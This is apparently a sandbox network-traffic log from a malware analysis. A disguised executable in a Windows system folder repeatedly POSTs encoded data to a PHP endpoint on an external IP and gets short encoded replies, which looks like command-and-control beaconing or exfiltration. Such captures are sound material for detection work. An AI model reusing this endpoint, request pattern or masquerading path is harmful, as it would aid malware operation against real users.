Jan 3, 2025 18:28:26.830791950 CET	2576	OUT	Data Raw: 5e 52 5e 5d 58 5a 50 5d 54 5b 59 5a 5b 5e 57 58 5f 51 5a 5c 52 53 50 41 5f 5d 5a 59 5e 5e 5a 5c 44 58 51 41 55 52 5b 51 5d 5f 5e 53 55 56 57 59 50 58 43 5d 41 5c 55 50 54 5f 56 59 50 56 59 59 59 56 5e 5a 57 52 5b 54 5b 5d 5c 50 5c 5c 5c 52 51 56 Data Ascii: ^R^]XZP]T[YZ[^WX_QZ\RSPA_]ZY^^Z\DXQAUR[Q]_^SUVWYPXC]A\UPT_VYPVYYYV^ZWR[T[]\P\\\RQV[_ZZ_]VRP^\ZZWXZ]U_WY^[XZ[T[G\__^WZ\TS^^^VQU_UY_ZUWRPUX_Q\ZXQXYWTZXUT_^^\Q\Z_UGVF]SZ_QP_P^Z^US__]WX[XU%)>5"&/0C*;$B!1&6$=T#;4\'_?$?+9#Y'$X.
Jan 3, 2025 18:28:27.188879013 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 18:28:27.320983887 CET	207	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 17:28:27 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3f 55 5d 54 Data Ascii: ?U]T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.4	57342	86.110.194.28	80	7896	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 18:28:27.440258980 CET	316	OUT	POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Host: 86.110.194.28 Content-Length: 2576 Expect: 100-continue
Jan 3, 2025 18:28:27.799554110 CET	2576	OUT	Data Raw: 5b 56 5e 58 58 57 50 5a 54 5b 59 5a 5b 53 57 5c 5f 52 5a 54 52 51 50 43 5f 5d 5a 59 5e 5e 5a 5c 44 58 51 41 55 52 5b 51 5d 5f 5e 53 55 56 57 59 50 58 43 5d 41 5c 55 50 54 5f 56 59 50 56 59 59 59 56 5e 5a 57 52 5b 54 5b 5d 5c 50 5c 5c 5c 52 51 56 Data Ascii: [V^XXWPZT[YZ[SW\_RZTRQPC_]ZY^^Z\DXQAUR[Q]_^SUVWYPXC]A\UPT_VYPVYYYV^ZWR[T[]\P\\\RQV[_ZZ_]VRP^\ZZWXZ]U_WY^[XZ[T[G\__^WZ\TS^^^VQU_UY_ZUWRPUX_Q\ZXQXYWTZXUT_^^\Q\Z_UGVF]SZ_QP_P^Z^US__]WX[XU&(X!_!\$T%,3>&^07)\'/*54V ;+3 0,)9#Y'$X.1
Jan 3, 2025 18:28:28.139235020 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 18:28:28.270869017 CET	151	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 17:28:28 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 3f 55 5d 54 Data Ascii: ?U]T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.4	57350	86.110.194.28	80	7896	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 18:28:28.418493032 CET	340	OUT	POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Host: 86.110.194.28 Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 18:28:28.768500090 CET	2576	OUT	Data Raw: 5b 56 5e 5a 58 5a 55 58 54 5b 59 5a 5b 53 57 52 5f 5c 5a 55 52 54 50 42 5f 5d 5a 59 5e 5e 5a 5c 44 58 51 41 55 52 5b 51 5d 5f 5e 53 55 56 57 59 50 58 43 5d 41 5c 55 50 54 5f 56 59 50 56 59 59 59 56 5e 5a 57 52 5b 54 5b 5d 5c 50 5c 5c 5c 52 51 56 Data Ascii: [V^ZXZUXT[YZ[SWR_\ZURTPB_]ZY^^Z\DXQAUR[Q]_^SUVWYPXC]A\UPT_VYPVYYYV^ZWR[T[]\P\\\RQV[_ZZ_]VRP^\ZZWXZ]U_WY^[XZ[T[G\__^WZ\TS^^^VQU_UY_ZUWRPUX_Q\ZXQXYWTZXUT_^^\Q\Z_UGVF]SZ_QP_P^Z^US__]WX[XU%<=.#:,W&?'>%$'9]',!6$T 3A0$W?#Y'$X.1
Jan 3, 2025 18:28:29.138061047 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 18:28:29.271986008 CET	207	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 17:28:29 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3f 55 5d 54 Data Ascii: ?U]T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.4	57356	86.110.194.28	80	7896	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 18:28:29.485392094 CET	340	OUT	POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Host: 86.110.194.28 Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 18:28:29.831096888 CET	2576	OUT	Data Raw: 5e 52 5e 5f 5d 59 50 5e 54 5b 59 5a 5b 5f 57 59 5f 53 5a 54 52 54 50 46 5f 5d 5a 59 5e 5e 5a 5c 44 58 51 41 55 52 5b 51 5d 5f 5e 53 55 56 57 59 50 58 43 5d 41 5c 55 50 54 5f 56 59 50 56 59 59 59 56 5e 5a 57 52 5b 54 5b 5d 5c 50 5c 5c 5c 52 51 56 Data Ascii: ^R^_]YP^T[YZ[_WY_SZTRTPF_]ZY^^Z\DXQAUR[Q]_^SUVWYPXC]A\UPT_VYPVYYYV^ZWR[T[]\P\\\RQV[_ZZ_]VRP^\ZZWXZ]U_WY^[XZ[T[G\__^WZ\TS^^^VQU_UY_ZUWRPUX_Q\ZXQXYWTZXUT_^^\Q\Z_UGVF]SZ_QP_P^Z^US__]WX[XU&+=6#*<1<,C)]2$B9Z&?S54: ^,[':<C$8?#Y'$X.
Jan 3, 2025 18:28:30.194622040 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 18:28:30.326179981 CET	207	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 17:28:30 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3f 55 5d 54 Data Ascii: ?U]T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.4	57362	86.110.194.28	80	7896	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 18:28:30.456568956 CET	340	OUT	POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Host: 86.110.194.28 Content-Length: 2568 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 18:28:30.815251112 CET	2568	OUT	Data Raw: 5b 53 5b 5f 5d 59 50 5b 54 5b 59 5a 5b 57 57 5e 5f 54 5a 5b 52 52 50 44 5f 5d 5a 59 5e 5e 5a 5c 44 58 51 41 55 52 5b 51 5d 5f 5e 53 55 56 57 59 50 58 43 5d 41 5c 55 50 54 5f 56 59 50 56 59 59 59 56 5e 5a 57 52 5b 54 5b 5d 5c 50 5c 5c 5c 52 51 56 Data Ascii: [S[_]YP[T[YZ[WW^_TZ[RRPD_]ZY^^Z\DXQAUR[Q]_^SUVWYPXC]A\UPT_VYPVYYYV^ZWR[T[]\P\\\RQV[_ZZ_]VRP^\ZZWXZ]U_WY^[XZ[T[G\__^WZ\TS^^^VQU_UY_ZUWRPUX_Q\ZXQXYWTZXUT_^^\Q\Z_UGVF]SZ_QP_P^Z^US__]WX[XU&B+>1#:S$/ >-$%Z%/!-W!+($8@' W+#Y'$X.5
Jan 3, 2025 18:28:31.155277014 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 18:28:31.284272909 CET	207	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 17:28:31 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3f 55 5d 54 Data Ascii: ?U]T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.4	57368	86.110.194.28	80	7896	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 18:28:31.416054010 CET	340	OUT	POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Host: 86.110.194.28 Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 18:28:31.768414021 CET	2576	OUT	Data Raw: 5e 51 5e 5a 58 5e 50 5d 54 5b 59 5a 5b 55 57 52 5f 52 5a 54 52 55 50 44 5f 5d 5a 59 5e 5e 5a 5c 44 58 51 41 55 52 5b 51 5d 5f 5e 53 55 56 57 59 50 58 43 5d 41 5c 55 50 54 5f 56 59 50 56 59 59 59 56 5e 5a 57 52 5b 54 5b 5d 5c 50 5c 5c 5c 52 51 56 Data Ascii: ^Q^ZX^P]T[YZ[UWR_RZTRUPD_]ZY^^Z\DXQAUR[Q]_^SUVWYPXC]A\UPT_VYPVYYYV^ZWR[T[]\P\\\RQV[_ZZ_]VRP^\ZZWXZ]U_WY^[XZ[T[G\__^WZ\TS^^^VQU_UY_ZUWRPUX_Q\ZXQXYWTZXUT_^^\Q\Z_UGVF]SZ_QP_P^Z^US__]WX[XU&D<>=6:,R1/!'%26B>#(0*''?3+#Y'$X.)
Jan 3, 2025 18:28:32.133757114 CET	25	IN	HTTP/1.1 100 Continue

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.4	57374	86.110.194.28	80	7896	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 18:28:32.242903948 CET	340	OUT	POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Host: 86.110.194.28 Content-Length: 2164 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 18:28:32.596546888 CET	2164	OUT	Data Raw: 5e 51 5e 58 58 58 50 5f 54 5b 59 5a 5b 56 57 53 5f 54 5a 58 52 53 50 47 5f 5d 5a 59 5e 5e 5a 5c 44 58 51 41 55 52 5b 51 5d 5f 5e 53 55 56 57 59 50 58 43 5d 41 5c 55 50 54 5f 56 59 50 56 59 59 59 56 5e 5a 57 52 5b 54 5b 5d 5c 50 5c 5c 5c 52 51 56 Data Ascii: ^Q^XXXP_T[YZ[VWS_TZXRSPG_]ZY^^Z\DXQAUR[Q]_^SUVWYPXC]A\UPT_VYPVYYYV^ZWR[T[]\P\\\RQV[_ZZ_]VRP^\ZZWXZ]U_WY^[XZ[T[G\__^WZ\TS^^^VQU_UY_ZUWRPUX_Q\ZXQXYWTZXUT_^^\Q\Z_UGVF]SZ_QP_P^Z^US__]WX[XU%(2! T$/$)]>[$$]&?R!4"#,0)D3#<9#Y'$X.%
Jan 3, 2025 18:28:32.944632053 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 18:28:33.078232050 CET	380	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 17:28:32 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 152 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 0d 1d 24 11 26 15 0f 04 29 3f 38 06 32 0d 21 11 23 30 2f 05 2e 30 3a 45 21 02 39 58 32 3b 28 54 28 04 3e 44 2b 20 25 1f 34 07 25 56 29 20 28 5d 03 10 3a 02 3f 3e 2c 05 29 58 35 15 2c 37 30 06 30 24 20 5a 3d 33 2a 0c 27 2c 3a 54 22 13 20 0f 29 0d 04 01 27 02 23 05 28 09 3f 5b 33 07 20 54 0b 17 27 1c 27 33 2f 59 27 3b 3d 10 3e 0e 28 58 26 2a 04 0a 23 3c 32 14 20 29 05 05 38 20 29 1c 33 38 3e 0e 2b 2e 23 57 26 14 0c 58 24 11 2e 5c 23 0f 28 55 0d 34 57 50 Data Ascii: $&)?82!#0/.0:E!9X2;(T(>D+ %4%V) (]:?>,)X5,700$ Z=3',:T" )'#(?[3 T''3/Y';=>(X&#<2 )8 )38>+.#W&X$.\#(U4WP

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.4	57376	86.110.194.28	80	7896	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 18:28:32.865000963 CET	340	OUT	POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Host: 86.110.194.28 Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 18:28:33.221477032 CET	2576	OUT	Data Raw: 5e 56 5b 5a 58 5c 55 5a 54 5b 59 5a 5b 56 57 5e 5f 57 5a 5e 52 51 50 44 5f 5d 5a 59 5e 5e 5a 5c 44 58 51 41 55 52 5b 51 5d 5f 5e 53 55 56 57 59 50 58 43 5d 41 5c 55 50 54 5f 56 59 50 56 59 59 59 56 5e 5a 57 52 5b 54 5b 5d 5c 50 5c 5c 5c 52 51 56 Data Ascii: ^V[ZX\UZT[YZ[VW^_WZ^RQPD_]ZY^^Z\DXQAUR[Q]_^SUVWYPXC]A\UPT_VYPVYYYV^ZWR[T[]\P\\\RQV[_ZZ_]VRP^\ZZWXZ]U_WY^[XZ[T[G\__^WZ\TS^^^VQU_UY_ZUWRPUX_Q\ZXQXYWTZXUT_^^\Q\Z_UGVF]SZ_QP_P^Z^US__]WX[XU%<=5\"8%$)_'&'?546#+(Z'*70 V(#Y'$X.%
Jan 3, 2025 18:28:33.564366102 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 18:28:33.696341038 CET	207	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 17:28:33 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3f 55 5d 54 Data Ascii: ?U]T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.4	57384	86.110.194.28	80	7896	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 18:28:33.818763018 CET	316	OUT	POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Host: 86.110.194.28 Content-Length: 2576 Expect: 100-continue
Jan 3, 2025 18:28:34.174515963 CET	2576	OUT	Data Raw: 5b 50 5b 5c 58 5b 50 5d 54 5b 59 5a 5b 51 57 58 5f 55 5a 5c 52 51 50 41 5f 5d 5a 59 5e 5e 5a 5c 44 58 51 41 55 52 5b 51 5d 5f 5e 53 55 56 57 59 50 58 43 5d 41 5c 55 50 54 5f 56 59 50 56 59 59 59 56 5e 5a 57 52 5b 54 5b 5d 5c 50 5c 5c 5c 52 51 56 Data Ascii: [P[\X[P]T[YZ[QWX_UZ\RQPA_]ZY^^Z\DXQAUR[Q]_^SUVWYPXC]A\UPT_VYPVYYYV^ZWR[T[]\P\\\RQV[_ZZ_]VRP^\ZZWXZ]U_WY^[XZ[T[G\__^WZ\TS^^^VQU_UY_ZUWRPUX_Q\ZXQXYWTZXUT_^^\Q\Z_UGVF]SZ_QP_P^Z^US__]WX[XU&?5^!+$,?)&Z%7&%Y"5'" 8$9,38))#Y'$X.9
Jan 3, 2025 18:28:34.515271902 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 18:28:34.648000956 CET	151	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 17:28:34 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 3f 55 5d 54 Data Ascii: ?U]T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.4	57392	86.110.194.28	80	7896	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 18:28:34.772735119 CET	340	OUT	POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Host: 86.110.194.28 Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 18:28:35.127738953 CET	2576	OUT	Data Raw: 5b 57 5e 59 5d 5a 50 5b 54 5b 59 5a 5b 5e 57 5c 5f 54 5a 5e 52 55 50 41 5f 5d 5a 59 5e 5e 5a 5c 44 58 51 41 55 52 5b 51 5d 5f 5e 53 55 56 57 59 50 58 43 5d 41 5c 55 50 54 5f 56 59 50 56 59 59 59 56 5e 5a 57 52 5b 54 5b 5d 5c 50 5c 5c 5c 52 51 56 Data Ascii: [W^Y]ZP[T[YZ[^W\_TZ^RUPA_]ZY^^Z\DXQAUR[Q]_^SUVWYPXC]A\UPT_VYPVYYYV^ZWR[T[]\P\\\RQV[_ZZ_]VRP^\ZZWXZ]U_WY^[XZ[T[G\__^WZ\TS^^^VQU_UY_ZUWRPUX_Q\ZXQXYWTZXUT_^^\Q\Z_UGVF]SZ_QP_P^Z^US__]WX[XU%)=":$&<=;!3B1?16)!+,3:8$?<#Y'$X.
Jan 3, 2025 18:28:35.450181007 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 18:28:35.582396984 CET	207	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 17:28:35 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3f 55 5d 54 Data Ascii: ?U]T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.4	57398	86.110.194.28	80	7896	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 18:28:35.715560913 CET	340	OUT	POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Host: 86.110.194.28 Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 18:28:36.066268921 CET	2576	OUT	Data Raw: 5b 50 5e 50 58 5f 50 5e 54 5b 59 5a 5b 53 57 5f 5f 53 5a 5a 52 51 50 47 5f 5d 5a 59 5e 5e 5a 5c 44 58 51 41 55 52 5b 51 5d 5f 5e 53 55 56 57 59 50 58 43 5d 41 5c 55 50 54 5f 56 59 50 56 59 59 59 56 5e 5a 57 52 5b 54 5b 5d 5c 50 5c 5c 5c 52 51 56 Data Ascii: [P^PX_P^T[YZ[SW__SZZRQPG_]ZY^^Z\DXQAUR[Q]_^SUVWYPXC]A\UPT_VYPVYYYV^ZWR[T[]\P\\\RQV[_ZZ_]VRP^\ZZWXZ]U_WY^[XZ[T[G\__^WZ\TS^^^VQU_UY_ZUWRPUX_Q\ZXQXYWTZXUT_^^\Q\Z_UGVF]SZ_QP_P^Z^US__]WX[XU&)>%#*V&((.^$=[2<& $T#8 ''< (#Y'$X.1
Jan 3, 2025 18:28:36.406944036 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 18:28:36.538260937 CET	207	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 17:28:36 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3f 55 5d 54 Data Ascii: ?U]T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.4	57405	86.110.194.28	80	7896	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 18:28:36.674869061 CET	340	OUT	POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Host: 86.110.194.28 Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 18:28:37.033998966 CET	2576	OUT	Data Raw: 5b 56 5e 5a 5d 5e 50 5b 54 5b 59 5a 5b 5e 57 53 5f 57 5a 58 52 54 50 42 5f 5d 5a 59 5e 5e 5a 5c 44 58 51 41 55 52 5b 51 5d 5f 5e 53 55 56 57 59 50 58 43 5d 41 5c 55 50 54 5f 56 59 50 56 59 59 59 56 5e 5a 57 52 5b 54 5b 5d 5c 50 5c 5c 5c 52 51 56 Data Ascii: [V^Z]^P[T[YZ[^WS_WZXRTPB_]ZY^^Z\DXQAUR[Q]_^SUVWYPXC]A\UPT_VYPVYYYV^ZWR[T[]\P\\\RQV[_ZZ_]VRP^\ZZWXZ]U_WY^[XZ[T[G\__^WZ\TS^^^VQU_UY_ZUWRPUX_Q\ZXQXYWTZXUT_^^\Q\Z_UGVF]SZ_QP_P^Z^US__]WX[XU%<.6*$R%?#=049Y&/659#4$ $3?#Y'$X.
Jan 3, 2025 18:28:37.372992039 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 18:28:37.504179001 CET	207	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 17:28:37 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3f 55 5d 54 Data Ascii: ?U]T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.4	57413	86.110.194.28	80	7896	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 18:28:37.629101992 CET	340	OUT	POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Host: 86.110.194.28 Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 18:28:37.987204075 CET	2576	OUT	Data Raw: 5b 57 5e 5f 5d 5b 50 5a 54 5b 59 5a 5b 5f 57 52 5f 52 5a 5f 52 50 50 48 5f 5d 5a 59 5e 5e 5a 5c 44 58 51 41 55 52 5b 51 5d 5f 5e 53 55 56 57 59 50 58 43 5d 41 5c 55 50 54 5f 56 59 50 56 59 59 59 56 5e 5a 57 52 5b 54 5b 5d 5c 50 5c 5c 5c 52 51 56 Data Ascii: [W^_][PZT[YZ[_WR_RZ_RPPH_]ZY^^Z\DXQAUR[Q]_^SUVWYPXC]A\UPT_VYPVYYYV^ZWR[T[]\P\\\RQV[_ZZ_]VRP^\ZZWXZ]U_WY^[XZ[T[G\__^WZ\TS^^^VQU_UY_ZUWRPUX_Q\ZXQXYWTZXUT_^^\Q\Z_UGVF]SZ_QP_P^Z^US__]WX[XU&B)-"")0T%?;>;&$$.1? '5T#8$%)('8<#Y'$X.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.4	57416	86.110.194.28	80	7896	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 18:28:38.088994026 CET	340	OUT	POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Host: 86.110.194.28 Content-Length: 2140 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 18:28:38.440211058 CET	2140	OUT	Data Raw: 5b 50 5e 5a 5d 5c 50 5a 54 5b 59 5a 5b 57 57 5b 5f 57 5a 58 52 57 50 49 5f 5d 5a 59 5e 5e 5a 5c 44 58 51 41 55 52 5b 51 5d 5f 5e 53 55 56 57 59 50 58 43 5d 41 5c 55 50 54 5f 56 59 50 56 59 59 59 56 5e 5a 57 52 5b 54 5b 5d 5c 50 5c 5c 5c 52 51 56 Data Ascii: [P^Z]\PZT[YZ[WW[_WZXRWPI_]ZY^^Z\DXQAUR[Q]_^SUVWYPXC]A\UPT_VYPVYYYV^ZWR[T[]\P\\\RQV[_ZZ_]VRP^\ZZWXZ]U_WY^[XZ[T[G\__^WZ\TS^^^VQU_UY_ZUWRPUX_Q\ZXQXYWTZXUT_^^\Q\Z_UGVF]SZ_QP_P^Z^US__]WX[XU%+>%!$V28*(6$4[&Y=Q" 0['9/&/V+9#Y'$X.-
Jan 3, 2025 18:28:38.802987099 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 18:28:38.934118986 CET	380	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 17:28:38 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 152 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 0d 1d 24 5a 32 05 36 59 3e 06 2f 13 25 1d 08 02 35 30 20 58 2c 33 39 1d 35 05 26 00 25 38 2f 0c 3c 3d 22 43 3f 33 21 1d 37 3e 25 57 28 0a 28 5d 03 10 39 13 3f 3d 30 01 2a 58 2d 5f 2e 0e 3b 5c 25 34 20 5d 2a 33 29 54 26 2c 39 0c 36 13 27 1d 29 20 2d 5b 33 05 0a 5d 28 33 2b 10 30 2d 20 54 0b 17 27 50 24 1e 09 13 32 3b 3e 01 3e 51 20 10 27 04 3d 56 36 2c 35 08 34 5f 27 06 2c 30 04 0f 24 06 0f 57 3d 10 23 54 25 03 29 00 26 2b 2e 5c 23 0f 28 55 0d 34 57 50 Data Ascii: $Z26Y>/%50 X,395&%8/<="C?3!7>%W((]9?=0X-_.;\%4 ]3)T&,96') -[3](3+0- T'P$2;>>Q '=V6,54_',0$W=#T%)&+.\#(U4WP

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.4	57417	86.110.194.28	80	7896	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 18:28:38.222223043 CET	340	OUT	POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Host: 86.110.194.28 Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive
